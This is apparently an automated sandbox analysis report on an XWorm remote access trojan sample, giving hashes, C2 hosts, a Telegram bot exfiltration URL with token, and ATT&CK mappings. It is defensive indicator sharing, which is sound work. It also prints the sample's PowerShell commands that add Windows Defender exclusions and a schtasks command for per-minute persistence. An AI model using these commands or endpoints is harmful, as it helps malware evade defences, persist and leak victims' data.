xworm | 0fbe615cf00da3b08bd0aac5c5c0f7c20a66d66f388436c6e361bfea0a0c6954

General

Target

WizClient.exe
Size

68KB
MD5

e076fab0807e1c2cbe8ae691e908cb8d
SHA1

dc6c4c935b460fa0413f4bf04c2cdf474cc3dc12
SHA256

0fbe615cf00da3b08bd0aac5c5c0f7c20a66d66f388436c6e361bfea0a0c6954
SHA512

6487a6f4f05b9ecebf336cda0a79fc55d27c73900553d2ba397242c149f8eb1c4132d2e5605452b91577ce94560c2b85a151ccd23ce3293366e5fe69da0ebda8
SSDEEP

1536:g6uON87iC5AkJYdPF2JTbjqFFdZ6a6OYKWT5k:gRON8+C+2YlYxbjIf6Oju5k

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

19.ip.gl.ply.gg:61510

wiz.bounceme.net:6000

Attributes

Install_directory
%ProgramData%
install_file
svchost.exe
telegram
https://api.telegram.org/bot7064074256:AAEPKggwUFFbQfBDcAFetu5l4vMWNokFVfg/sendMessage?chat_id=6851754348

aes.plain

Signatures

Detect Xworm Payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3152-0-0x0000000000E30000-0x0000000000E48000-memory.dmp	family_xworm
C:\ProgramData\WizClient.exe	family_xworm
behavioral2/memory/3152-49-0x000000001CEE0000-0x000000001CEEE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2156 powershell.exe
3008 powershell.exe
2500 powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WizClient.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	WizClient.exe

Drops startup file 2 IoCs

Processes:

WizClient.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizClient.lnk	WizClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizClient.lnk	WizClient.exe

Executes dropped EXE 10 IoCs

Processes:

WizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exe

pid	process
4944	WizClient.exe
4884	WizClient.exe
4972	WizClient.exe
2268	WizClient.exe
952	WizClient.exe
116	WizClient.exe
2740	WizClient.exe
3328	WizClient.exe
3784	WizClient.exe
2456	WizClient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

WizClient.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WizClient = "C:\\ProgramData\\WizClient.exe"	WizClient.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

22 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

660 schtasks.exe

flow	ioc
22	ip-api.com

pid	process
660	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
2156	powershell.exe
2156	powershell.exe
2156	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

Processes:

WizClient.exepowershell.exepowershell.exepowershell.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exeWizClient.exe

description	pid	process
Token: SeDebugPrivilege	3152	WizClient.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	3152	WizClient.exe
Token: SeDebugPrivilege	4944	WizClient.exe
Token: SeDebugPrivilege	4884	WizClient.exe
Token: SeDebugPrivilege	4972	WizClient.exe
Token: SeDebugPrivilege	2268	WizClient.exe
Token: SeDebugPrivilege	952	WizClient.exe
Token: SeDebugPrivilege	116	WizClient.exe
Token: SeDebugPrivilege	2740	WizClient.exe
Token: SeDebugPrivilege	3328	WizClient.exe
Token: SeDebugPrivilege	3784	WizClient.exe
Token: SeDebugPrivilege	2456	WizClient.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WizClient.exe

description	pid	process	target process
PID 3152 wrote to memory of 2156	3152	WizClient.exe	powershell.exe
PID 3152 wrote to memory of 2156	3152	WizClient.exe	powershell.exe
PID 3152 wrote to memory of 3008	3152	WizClient.exe	powershell.exe
PID 3152 wrote to memory of 3008	3152	WizClient.exe	powershell.exe
PID 3152 wrote to memory of 2500	3152	WizClient.exe	powershell.exe
PID 3152 wrote to memory of 2500	3152	WizClient.exe	powershell.exe
PID 3152 wrote to memory of 660	3152	WizClient.exe	schtasks.exe
PID 3152 wrote to memory of 660	3152	WizClient.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\WizClient.exe
"C:\Users\Admin\AppData\Local\Temp\WizClient.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\WizClient.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2156

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WizClient.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3008

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\WizClient.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2500

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WizClient" /tr "C:\ProgramData\WizClient.exe"
2⤵
- Creates scheduled task(s)
PID:660

C:\ProgramData\WizClient.exe
C:\ProgramData\WizClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4944

C:\ProgramData\WizClient.exe
C:\ProgramData\WizClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4884

C:\ProgramData\WizClient.exe
C:\ProgramData\WizClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4972

C:\ProgramData\WizClient.exe
C:\ProgramData\WizClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2268

C:\ProgramData\WizClient.exe
C:\ProgramData\WizClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:952

C:\ProgramData\WizClient.exe
C:\ProgramData\WizClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:116

C:\ProgramData\WizClient.exe
C:\ProgramData\WizClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2740

C:\ProgramData\WizClient.exe
C:\ProgramData\WizClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3328

C:\ProgramData\WizClient.exe
C:\ProgramData\WizClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3784

C:\ProgramData\WizClient.exe
C:\ProgramData\WizClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2456

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\ProgramData\WizClient.exe
Filesize
68KB

MD5
e076fab0807e1c2cbe8ae691e908cb8d

SHA1
dc6c4c935b460fa0413f4bf04c2cdf474cc3dc12

SHA256
0fbe615cf00da3b08bd0aac5c5c0f7c20a66d66f388436c6e361bfea0a0c6954

SHA512
6487a6f4f05b9ecebf336cda0a79fc55d27c73900553d2ba397242c149f8eb1c4132d2e5605452b91577ce94560c2b85a151ccd23ce3293366e5fe69da0ebda8

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WizClient.exe.log
Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
dbb22d95851b93abf2afe8fb96a8e544

SHA1
920ec5fdb323537bcf78f7e29a4fc274e657f7a4

SHA256
e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

SHA512
16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hutnmudb.gpm.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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memory/2156-4-0x00007FFAE00E0000-0x00007FFAE0BA1000-memory.dmp

Filesize
10.8MB

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memory/2156-17-0x00007FFAE00E0000-0x00007FFAE0BA1000-memory.dmp

Filesize
10.8MB

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memory/2156-10-0x0000019F6F040000-0x0000019F6F062000-memory.dmp

Filesize
136KB

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memory/2156-3-0x00007FFAE00E0000-0x00007FFAE0BA1000-memory.dmp

Filesize
10.8MB

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memory/3152-0-0x0000000000E30000-0x0000000000E48000-memory.dmp

Filesize
96KB

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memory/3152-2-0x00007FFAE00E0000-0x00007FFAE0BA1000-memory.dmp

Filesize
10.8MB

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memory/3152-49-0x000000001CEE0000-0x000000001CEEE000-memory.dmp

Filesize
56KB

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memory/3152-50-0x00007FFAE00E3000-0x00007FFAE00E5000-memory.dmp

Filesize
8KB

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memory/3152-51-0x00007FFAE00E0000-0x00007FFAE0BA1000-memory.dmp

Filesize
10.8MB

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memory/3152-1-0x00007FFAE00E3000-0x00007FFAE00E5000-memory.dmp

Filesize
8KB

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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